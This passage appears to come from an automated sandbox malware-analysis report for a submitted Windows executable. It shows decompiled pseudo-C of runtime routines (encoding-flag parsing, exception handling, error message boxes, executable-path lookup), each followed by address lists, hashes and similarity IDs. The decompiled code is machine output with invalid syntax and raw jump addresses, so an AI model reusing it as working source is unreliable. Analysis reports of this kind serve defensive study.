				asm("bts dword [ebx+0x4], 0xb");
				r9b = 1;
				goto 0xda8ef2b9;
				_t94 =  *__rcx & 0x0000c000;
				if (_t94 != 0) goto 0xda8ef2ac;
				asm("bts eax, 0xf");
				goto 0xda8ef2b5;
				asm("bt eax, 0xc");
				if (_t94 >= 0) goto 0xda8ef2b1;
				goto 0xda8ef2b9;
				asm("bts eax, 0xc");
				asm("dec eax");
				_t144 = _t143 + __rcx;
				if (1 != 0) goto 0xda8ef17c;
				_t128 =  ==  ? _t144 : _t144 + 2;
				goto 0xda8ef2df;
				_t129 = ( ==  ? _t144 : _t144 + 2) + 2;
				if ( *_t129 == r14w) goto 0xda8ef2db;
				if (r11b != 0) goto 0xda8ef2fc;
				if ( *_t129 != 0) goto 0xda8ef3bc;
				__rcx[2] = 1;
				goto 0xda8ef3cc;
				r8d = 3;
				if (E00007FF77FF7DA8E9950(_t144) != 0) goto 0xda8ef3bc;
				goto 0xda8ef323;
				_t131 = _t129 + 8;
				_t49 =  *_t131 & 0x0000ffff;
				if (_t49 == r14w) goto 0xda8ef31f;
				if (_t49 != 0x3d) goto 0xda8ef3bc;
				_t132 =  &(_t131[1]);
				if ( *_t132 == r14w) goto 0xda8ef336;
				r8d = 5;
				if (E00007FF77FF7DA8F53C4(_t109, _t132) != 0) goto 0xda8ef35f;
				asm("bts dword [ebx], 0x12");
				goto 0xda8ef3a1;
				r8d = 8;
				if (E00007FF77FF7DA8F53C4(_t109, _t132) != 0) goto 0xda8ef381;
				asm("bts dword [ebx], 0x11");
				goto 0xda8ef3a1;
				r8d = 7;
				if (E00007FF77FF7DA8F53C4(_t109, _t132) != 0) goto 0xda8ef3bc;
				asm("bts dword [ebx], 0x10");
				goto 0xda8ef3ab;
				if (( *(_t132 + __rsi + 2) & 0x0000ffff) == r14w) goto 0xda8ef3a7;
				goto 0xda8ef2ed;
				E00007FF77FF7DA8E4394(_t109);
				 *_t109 = 0x16;
				return E00007FF77FF7DA8E9D00();
			}






















                                                                                                                              0x7ff7da8ef0e8
                                                                                                                              0x7ff7da8ef0eb
                                                                                                                              0x7ff7da8ef0ef
                                                                                                                              0x7ff7da8ef0f3
                                                                                                                              0x7ff7da8ef0f7
                                                                                                                              0x7ff7da8ef106
                                                                                                                              0x7ff7da8ef10c
                                                                                                                              0x7ff7da8ef10f
                                                                                                                              0x7ff7da8ef115
                                                                                                                              0x7ff7da8ef11b
                                                                                                                              0x7ff7da8ef121
                                                                                                                              0x7ff7da8ef123
                                                                                                                              0x7ff7da8ef127
                                                                                                                              0x7ff7da8ef12f
                                                                                                                              0x7ff7da8ef135
                                                                                                                              0x7ff7da8ef13b
                                                                                                                              0x7ff7da8ef141
                                                                                                                              0x7ff7da8ef147
                                                                                                                              0x7ff7da8ef14d
                                                                                                                              0x7ff7da8ef14f
                                                                                                                              0x7ff7da8ef156
                                                                                                                              0x7ff7da8ef158
                                                                                                                              0x7ff7da8ef15e
                                                                                                                              0x7ff7da8ef165
                                                                                                                              0x7ff7da8ef16d
                                                                                                                              0x7ff7da8ef170
                                                                                                                              0x7ff7da8ef173
                                                                                                                              0x7ff7da8ef176
                                                                                                                              0x7ff7da8ef179
                                                                                                                              0x7ff7da8ef180
                                                                                                                              0x7ff7da8ef186
                                                                                                                              0x7ff7da8ef18a
                                                                                                                              0x7ff7da8ef18d
                                                                                                                              0x7ff7da8ef193
                                                                                                                              0x7ff7da8ef19c
                                                                                                                              0x7ff7da8ef1a5
                                                                                                                              0x7ff7da8ef1aa
                                                                                                                              0x7ff7da8ef1af
                                                                                                                              0x7ff7da8ef1b1
                                                                                                                              0x7ff7da8ef1b3
                                                                                                                              0x7ff7da8ef1b8
                                                                                                                              0x7ff7da8ef1c1
                                                                                                                              0x7ff7da8ef1c7
                                                                                                                              0x7ff7da8ef1ca
                                                                                                                              0x7ff7da8ef1cc
                                                                                                                              0x7ff7da8ef1d0
                                                                                                                              0x7ff7da8ef1d9
                                                                                                                              0x7ff7da8ef1e2
                                                                                                                              0x7ff7da8ef1e7
                                                                                                                              0x7ff7da8ef1ea
                                                                                                                              0x7ff7da8ef1f2
                                                                                                                              0x7ff7da8ef1f8
                                                                                                                              0x7ff7da8ef1fa
                                                                                                                              0x7ff7da8ef1ff
                                                                                                                              0x7ff7da8ef20e
                                                                                                                              0x7ff7da8ef219
                                                                                                                              0x7ff7da8ef21c
                                                                                                                              0x7ff7da8ef221
                                                                                                                              0x7ff7da8ef224
                                                                                                                              0x7ff7da8ef22a
                                                                                                                              0x7ff7da8ef22d
                                                                                                                              0x7ff7da8ef233
                                                                                                                              0x7ff7da8ef23b
                                                                                                                              0x7ff7da8ef240
                                                                                                                              0x7ff7da8ef245
                                                                                                                              0x7ff7da8ef24a
                                                                                                                              0x7ff7da8ef24f
                                                                                                                              0x7ff7da8ef251
                                                                                                                              0x7ff7da8ef254
                                                                                                                              0x7ff7da8ef25c
                                                                                                                              0x7ff7da8ef260
                                                                                                                              0x7ff7da8ef262
                                                                                                                              0x7ff7da8ef266
                                                                                                                              0x7ff7da8ef26f
                                                                                                                              0x7ff7da8ef271
                                                                                                                              0x7ff7da8ef275
                                                                                                                              0x7ff7da8ef27a
                                                                                                                              0x7ff7da8ef27c
                                                                                                                              0x7ff7da8ef281
                                                                                                                              0x7ff7da8ef286
                                                                                                                              0x7ff7da8ef288
                                                                                                                              0x7ff7da8ef28d
                                                                                                                              0x7ff7da8ef293
                                                                                                                              0x7ff7da8ef297
                                                                                                                              0x7ff7da8ef29c
                                                                                                                              0x7ff7da8ef29e
                                                                                                                              0x7ff7da8ef2a2
                                                                                                                              0x7ff7da8ef2a6
                                                                                                                              0x7ff7da8ef2aa
                                                                                                                              0x7ff7da8ef2af
                                                                                                                              0x7ff7da8ef2b1
                                                                                                                              0x7ff7da8ef2bd
                                                                                                                              0x7ff7da8ef2c3
                                                                                                                              0x7ff7da8ef2c8
                                                                                                                              0x7ff7da8ef2d5
                                                                                                                              0x7ff7da8ef2d9
                                                                                                                              0x7ff7da8ef2db
                                                                                                                              0x7ff7da8ef2e3
                                                                                                                              0x7ff7da8ef2e8
                                                                                                                              0x7ff7da8ef2ed
                                                                                                                              0x7ff7da8ef2f3
                                                                                                                              0x7ff7da8ef2f7
                                                                                                                              0x7ff7da8ef2fc
                                                                                                                              0x7ff7da8ef313
                                                                                                                              0x7ff7da8ef31d
                                                                                                                              0x7ff7da8ef31f
                                                                                                                              0x7ff7da8ef323
                                                                                                                              0x7ff7da8ef32a
                                                                                                                              0x7ff7da8ef330
                                                                                                                              0x7ff7da8ef336
                                                                                                                              0x7ff7da8ef33e
                                                                                                                              0x7ff7da8ef340
                                                                                                                              0x7ff7da8ef357
                                                                                                                              0x7ff7da8ef359
                                                                                                                              0x7ff7da8ef35d
                                                                                                                              0x7ff7da8ef35f
                                                                                                                              0x7ff7da8ef376
                                                                                                                              0x7ff7da8ef378
                                                                                                                              0x7ff7da8ef37f
                                                                                                                              0x7ff7da8ef381
                                                                                                                              0x7ff7da8ef398
                                                                                                                              0x7ff7da8ef39a
                                                                                                                              0x7ff7da8ef3a5
                                                                                                                              0x7ff7da8ef3b2
                                                                                                                              0x7ff7da8ef3b7
                                                                                                                              0x7ff7da8ef3bc
                                                                                                                              0x7ff7da8ef3c1
                                                                                                                              0x7ff7da8ef3e9

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                              • API String ID: 3215553584-1196891531
                                                                                                                              • Opcode ID: abbf5a816cf9790d87ba27718c5909264acedcf573467f627084beda8466296f
                                                                                                                              • Instruction ID: cd5cba1d9fa43e235ed0e76f0020f230da25ac1a3bad6b98b0dcd543ff5feb44
                                                                                                                              • Opcode Fuzzy Hash: abbf5a816cf9790d87ba27718c5909264acedcf573467f627084beda8466296f
                                                                                                                              • Instruction Fuzzy Hash: 4981A436D0A643C5F6676E25C11027DB690BB31B48FD580B7CE0D97287DB2EEE219721
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DE068 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 68%
                                                                                                                              			E00007FF77FF7DA8DE068(long long __rbx, intOrPtr* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t19;
				void* _t27;
				void* _t36;
				void* _t39;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t46;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;

				_t27 = _t45;
				 *((long long*)(_t27 + 0x20)) = __rbx;
				 *((long long*)(_t27 + 0x18)) = __r8;
				 *((long long*)(_t27 + 0x10)) = __rdx;
				_t43 = _t27 - 0x3f;
				_t46 = _t45 - 0xc0;
				if ( *__rcx == 0x80000003) goto 0xda8de10c;
				E00007FF77FF7DA8DCC80(_t27);
				r12d =  *((intOrPtr*)(_t43 + 0x6f));
				if ( *((long long*)(_t27 + 0x10)) == 0) goto 0xda8de127;
				__imp__EncodePointer(_t59, _t56, _t54, _t52, _t36, _t39, _t42);
				E00007FF77FF7DA8DCC80(_t27);
				if ( *((intOrPtr*)(_t27 + 0x10)) == _t27) goto 0xda8de127;
				if ( *__rcx == 0xe0434f4d) goto 0xda8de127;
				r13d =  *((intOrPtr*)(_t43 + 0x77));
				if ( *__rcx == 0xe0434352) goto 0xda8de12b;
				 *((intOrPtr*)(_t46 + 0x38)) = r12d;
				 *((long long*)(_t46 + 0x30)) =  *((intOrPtr*)(_t43 + 0x7f));
				 *((intOrPtr*)(_t46 + 0x28)) = r13d;
				 *((long long*)(_t46 + 0x20)) =  *((intOrPtr*)(_t43 + 0x67));
				_t19 = E00007FF77FF7DA8DD128(__rcx,  *((intOrPtr*)(_t43 + 0x4f)), __r8, __r9);
				if (_t19 == 0) goto 0xda8de12b;
				return _t19;
			}















                                                                                                                              0x7ff7da8de068
                                                                                                                              0x7ff7da8de06b
                                                                                                                              0x7ff7da8de06f
                                                                                                                              0x7ff7da8de073
                                                                                                                              0x7ff7da8de082
                                                                                                                              0x7ff7da8de086
                                                                                                                              0x7ff7da8de09c
                                                                                                                              0x7ff7da8de09e
                                                                                                                              0x7ff7da8de0a3
                                                                                                                              0x7ff7da8de0b0
                                                                                                                              0x7ff7da8de0b4
                                                                                                                              0x7ff7da8de0bd
                                                                                                                              0x7ff7da8de0c6
                                                                                                                              0x7ff7da8de0cf
                                                                                                                              0x7ff7da8de0d8
                                                                                                                              0x7ff7da8de0dc
                                                                                                                              0x7ff7da8de0ec
                                                                                                                              0x7ff7da8de0f4
                                                                                                                              0x7ff7da8de0f9
                                                                                                                              0x7ff7da8de0fe
                                                                                                                              0x7ff7da8de103
                                                                                                                              0x7ff7da8de10a
                                                                                                                              0x7ff7da8de126

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CallEncodePointerTranslator
                                                                                                                              • String ID: MOC$RCC
                                                                                                                              • API String ID: 3544855599-2084237596
                                                                                                                              • Opcode ID: 7d592ac69212e988a1052134f2f1a45de81130431c633717d475d5b1a3e6a8fe
                                                                                                                              • Instruction ID: 6d0b9d1679c9eef083db72db7e68e5240d3715a5b69081efcb1fad2ef9e424ea
                                                                                                                              • Opcode Fuzzy Hash: 7d592ac69212e988a1052134f2f1a45de81130431c633717d475d5b1a3e6a8fe
                                                                                                                              • Instruction Fuzzy Hash: 46615D33A09B458AFB119F65D4803ADB7A0FB44B88F884266EF4D17B96DB3CE165C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D24D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 59%
                                                                                                                              			E00007FF77FF7DA8D24D0(void* __eflags, void* __rax, long long __rcx, signed long long __rdx, long long __r8, long long __r9, long long _a8, signed long long _a16, char _a24, long long _a32, char _a1048, char _a2072, char _a4120, signed int _a6168, char _a6232) {
				void* __rbx;
				void* __rsi;
				void* _t22;
				void* _t38;
				void* _t39;
				signed long long _t44;
				signed long long _t45;
				void* _t64;
				void* _t74;
				void* _t75;

				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t22 = E00007FF77FF7DA8DAD20(0x1840, __rax, _t74, _t75);
				_t65 = _t64 - __rax;
				_t44 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t45 = _t44 ^ _t64 - __rax;
				_a6168 = _t45;
				_t46 = __rdx;
				E00007FF77FF7DA8D1040(_t22);
				_a16 =  &_a6232;
				_a8 = 0;
				r8d = 0x400;
				E00007FF77FF7DA8E3B34(_t38, _t39,  *_t45 | 0x00000002,  &_a1048, __r8, __rdx);
				E00007FF77FF7DA8E4394(_t45);
				E00007FF77FF7DA8E43B4( *_t45, _t45, __rdx,  &_a6232);
				_a16 = _t45;
				_a8 = __rcx;
				E00007FF77FF7DA8D1B30(_t45,  &_a24,  &_a1048, "%s%s: %s",  &_a1048);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t45, _t46,  &_a4120,  &_a24,  &_a6232, "%s%s: %s");
				if (_t45 == 0) goto 0xda8d25df;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t45, _t46,  &_a2072, "Fatal error detected",  &_a6232, "%s%s: %s");
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d25f9;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a6168 ^ _t65);
			}













                                                                                                                              0x7ff7da8d24d0
                                                                                                                              0x7ff7da8d24d5
                                                                                                                              0x7ff7da8d24da
                                                                                                                              0x7ff7da8d24e7
                                                                                                                              0x7ff7da8d24ec
                                                                                                                              0x7ff7da8d24ef
                                                                                                                              0x7ff7da8d24f6
                                                                                                                              0x7ff7da8d24f9
                                                                                                                              0x7ff7da8d2501
                                                                                                                              0x7ff7da8d250f
                                                                                                                              0x7ff7da8d2514
                                                                                                                              0x7ff7da8d2524
                                                                                                                              0x7ff7da8d252d
                                                                                                                              0x7ff7da8d253a
                                                                                                                              0x7ff7da8d253f
                                                                                                                              0x7ff7da8d2546
                                                                                                                              0x7ff7da8d254b
                                                                                                                              0x7ff7da8d255f
                                                                                                                              0x7ff7da8d256e
                                                                                                                              0x7ff7da8d257d
                                                                                                                              0x7ff7da8d2583
                                                                                                                              0x7ff7da8d2588
                                                                                                                              0x7ff7da8d259b
                                                                                                                              0x7ff7da8d25a3
                                                                                                                              0x7ff7da8d25a5
                                                                                                                              0x7ff7da8d25ba
                                                                                                                              0x7ff7da8d25bf
                                                                                                                              0x7ff7da8d25d7
                                                                                                                              0x7ff7da8d25dd
                                                                                                                              0x7ff7da8d25df
                                                                                                                              0x7ff7da8d2613

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ByteCharMultiWide
                                                                                                                              • String ID: %s%s: %s$Fatal error detected
                                                                                                                              • API String ID: 1878133881-2410924014
                                                                                                                              • Opcode ID: 2ca8b161c2e9c3bcdb1472a4893fefc60b501485010ef6ee025377ec5ef74353
                                                                                                                              • Instruction ID: 270727b3e0b3ab2777241ecc34e6a5c4bb8d6afb301644a0a6c5a4fe7a15981b
                                                                                                                              • Opcode Fuzzy Hash: 2ca8b161c2e9c3bcdb1472a4893fefc60b501485010ef6ee025377ec5ef74353
                                                                                                                              • Instruction Fuzzy Hash: 48318C72628A8281FA21BB10E4517EEE364FF94784FC44076EE8D07A9ADF3CD615CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D3B80 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 33%
                                                                                                                              			E00007FF77FF7DA8D3B80(void* __rax, long long __rcx, char _a24, signed int _a8216) {
				void* __rbx;
				intOrPtr _t16;
				signed long long _t21;
				signed long long _t22;
				void* _t33;
				void* _t34;
				void* _t35;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t41;

				E00007FF77FF7DA8DAD20(0x2030, __rax, _t40, _t41);
				_t36 = _t35 - __rax;
				_t21 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t22 = _t21 ^ _t35 - __rax;
				_a8216 = _t22;
				r8d = 0x1000;
				if (GetModuleFileNameW(??, ??, ??) != 0) goto 0xda8d3bd2;
				E00007FF77FF7DA8D2620(GetModuleFileNameW(??, ??, ??), _t22, "GetModuleFileNameW", "Failed to get executable path.\n", _t38, _t39);
				goto 0xda8d3bff;
				r8d = 0x1000;
				E00007FF77FF7DA8D7AB0(_t16, __rcx, __rcx,  &_a24, _t33, _t34, _t38);
				if (_t22 != 0) goto 0xda8d3bfa;
				E00007FF77FF7DA8D2770(_t22, "Failed to convert executable path to UTF-8.\n",  &_a24, _t38, _t39);
				goto 0xda8d3bff;
				return E00007FF77FF7DA8DACF0(1, 0, _a8216 ^ _t36);
			}














                                                                                                                              0x7ff7da8d3b87
                                                                                                                              0x7ff7da8d3b8c
                                                                                                                              0x7ff7da8d3b8f
                                                                                                                              0x7ff7da8d3b96
                                                                                                                              0x7ff7da8d3b99
                                                                                                                              0x7ff7da8d3bab
                                                                                                                              0x7ff7da8d3bb9
                                                                                                                              0x7ff7da8d3bc9
                                                                                                                              0x7ff7da8d3bd0
                                                                                                                              0x7ff7da8d3bd2
                                                                                                                              0x7ff7da8d3be0
                                                                                                                              0x7ff7da8d3be8
                                                                                                                              0x7ff7da8d3bf1
                                                                                                                              0x7ff7da8d3bf8
                                                                                                                              0x7ff7da8d3c17

                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameW.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D3BB1
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastMessageModuleName
                                                                                                                              • String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
                                                                                                                              • API String ID: 2581892565-1977442011
                                                                                                                              • Opcode ID: 04e6919d6207e873115f5cfbaabaf22d19ebcbc8c50bb68e17d57e50300a9c4c
                                                                                                                              • Instruction ID: d4587f5cf85cfe86ec07f74debcbb7f69452307fefef563fc9da97b3946a1904
                                                                                                                              • Opcode Fuzzy Hash: 04e6919d6207e873115f5cfbaabaf22d19ebcbc8c50bb68e17d57e50300a9c4c
                                                                                                                              • Instruction Fuzzy Hash: 52017121B1964388FE62B720E8063BDD351BF987C4FC814B3DC4E86297EE5DE1658720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EB9C0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 53%
                                                                                                                              			E00007FF77FF7DA8EB9C0(void* __eax, signed int __edx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t184;
				signed int _t188;
				signed int _t195;
				signed int _t200;
				intOrPtr _t209;
				void* _t211;
				signed char _t212;
				void* _t229;
				void* _t262;
				signed long long _t263;
				long long _t268;
				long long _t270;
				void* _t271;
				long long _t273;
				intOrPtr* _t279;
				intOrPtr* _t286;
				long long _t288;
				long long _t315;
				void* _t323;
				long long _t324;
				void* _t325;
				long long _t326;
				intOrPtr* _t327;
				long long _t328;
				signed char* _t329;
				signed char* _t330;
				signed char* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				signed long long _t335;
				intOrPtr _t338;
				intOrPtr _t341;
				void* _t343;
				signed long long _t345;
				signed long long _t347;
				long long _t356;
				void* _t360;
				long long _t361;
				signed long long _t364;
				char _t365;
				signed long long _t366;
				void* _t369;
				signed char* _t370;
				signed long long _t372;

				_t262 = _t334;
				_t333 = _t262 - 0x57;
				_t335 = _t334 - 0xd0;
				 *((long long*)(_t333 - 9)) = 0xfffffffe;
				 *((long long*)(_t262 + 8)) = __rbx;
				_t263 =  *0xda90d008; // 0xde4e6c2f3c2e
				 *(_t333 + 0x17) = _t263 ^ _t335;
				_t327 = __r8;
				 *((long long*)(_t333 - 0x41)) = __r8;
				_t279 = __rcx;
				 *((long long*)(_t333 - 0x59)) =  *((intOrPtr*)(_t333 + 0x7f));
				_t364 = __edx >> 6;
				 *(_t333 - 0x39) = _t364;
				_t372 = __edx + __edx * 8;
				_t268 =  *((intOrPtr*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t364 * 8)) + 0x28 + _t372 * 8));
				 *((long long*)(_t333 - 0x19)) = _t268;
				r12d = r9d;
				_t361 = _t360 + __r8;
				 *((long long*)(_t333 - 0x61)) = _t361;
				 *((intOrPtr*)(_t333 - 0x49)) = GetConsoleOutputCP();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t333 - 0x59)) + 0x28)) != dil) goto 0xda8eba60;
				E00007FF77FF7DA8E3970(_t268, __rcx,  *((intOrPtr*)(_t333 - 0x59)), __r8);
				_t209 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t333 - 0x59)) + 0x18)) + 0xc));
				 *((intOrPtr*)(_t333 - 0x45)) = _t209;
				 *_t279 = _t268;
				 *((intOrPtr*)(_t279 + 8)) = 0;
				if ( *((intOrPtr*)(_t333 - 0x41)) - _t361 >= 0) goto 0xda8ebe0b;
				_t345 = __edx >> 6;
				 *(_t333 - 0x11) = _t345;
				 *((char*)(_t333 - 0x71)) =  *_t327;
				 *((intOrPtr*)(_t333 - 0x6d)) = 0;
				r12d = 1;
				if (_t209 != 0xfde9) goto 0xda8ebc25;
				_t286 = 0x3e + _t372 * 8 +  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t345 * 8));
				if ( *_t286 == dil) goto 0xda8ebad2;
				_t369 = _t326 + 1;
				if (_t369 - 5 < 0) goto 0xda8ebabf;
				if (_t369 <= 0) goto 0xda8ebbbb;
				r12d =  *((char*)(_t286 + 0x7ff7da90d2d1));
				r12d = r12d + 1;
				_t184 = r12d - 1;
				 *((intOrPtr*)(_t333 - 0x51)) = _t184;
				_t338 = _t184;
				if (_t338 -  *((intOrPtr*)(_t333 - 0x61)) - _t327 > 0) goto 0xda8ebd88;
				_t288 = _t326;
				 *((char*)(_t333 + _t288 - 1)) =  *((intOrPtr*)(0x3e + _t372 * 8 +  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t345 * 8))));
				if (_t288 + 1 - _t369 < 0) goto 0xda8ebb23;
				if (_t338 <= 0) goto 0xda8ebb53;
				E00007FF77FF7DA8DBAC0();
				_t356 =  *((intOrPtr*)(_t333 - 0x59));
				_t315 = _t326;
				 *((intOrPtr*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t364 * 8)) + _t315 + 0x3e + _t372 * 8)) = dil;
				if (_t315 + 1 - _t369 < 0) goto 0xda8ebb56;
				 *((long long*)(_t333 - 0x31)) = _t326;
				_t270 = _t333 - 1;
				 *((long long*)(_t333 - 0x29)) = _t270;
				_t188 = (0 | r12d == 0x00000004) + 1;
				r12d = _t188;
				r8d = _t188;
				 *((long long*)(_t335 + 0x20)) = _t356;
				E00007FF77FF7DA8EF4CC(_t270, _t279, _t333 - 0x6d, _t333 - 0x29, _t338, _t333 - 0x31);
				if (_t270 == 0xffffffff) goto 0xda8ebe0b;
				_t328 = _t327 +  *((intOrPtr*)(_t333 - 0x51)) - 1;
				goto 0xda8ebcb6;
				_t365 =  *((char*)(_t270 + 0x7ff7da90d2d0));
				_t211 = _t365 + 1;
				_t271 = _t211;
				if (_t271 -  *((intOrPtr*)(_t333 - 0x61)) - _t328 > 0) goto 0xda8ebdb6;
				 *((long long*)(_t333 - 0x51)) = _t326;
				 *((long long*)(_t333 - 0x21)) = _t328;
				_t195 = (0 | _t211 == 0x00000004) + 1;
				r14d = _t195;
				r8d = _t195;
				 *((long long*)(_t335 + 0x20)) = _t356;
				_t347 = _t333 - 0x51;
				E00007FF77FF7DA8EF4CC(_t271, _t279, _t333 - 0x6d, _t333 - 0x21,  *((intOrPtr*)(_t333 - 0x61)) - _t328, _t347);
				if (_t271 == 0xffffffff) goto 0xda8ebe0b;
				_t329 = _t328 + _t365;
				r12d = r14d;
				_t366 =  *(_t333 - 0x39);
				goto 0xda8ebcb6;
				_t341 =  *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t366 * 8));
				_t212 =  *(_t341 + 0x3d + _t372 * 8);
				if ((_t212 & 0x00000004) == 0) goto 0xda8ebc58;
				 *((char*)(_t333 + 7)) =  *((intOrPtr*)(_t341 + 0x3e + _t372 * 8));
				 *((char*)(_t333 + 8)) =  *_t329;
				 *(_t341 + 0x3d + _t372 * 8) = _t212 & 0x000000fb;
				r8d = 2;
				goto 0xda8ebca1;
				r9d =  *_t329 & 0x000000ff;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t356 + 0x18)))) + _t347 * 2)) >= 0) goto 0xda8ebc9b;
				_t370 =  &(_t329[1]);
				if (_t370 -  *((intOrPtr*)(_t333 - 0x61)) >= 0) goto 0xda8ebde8;
				r8d = 2;
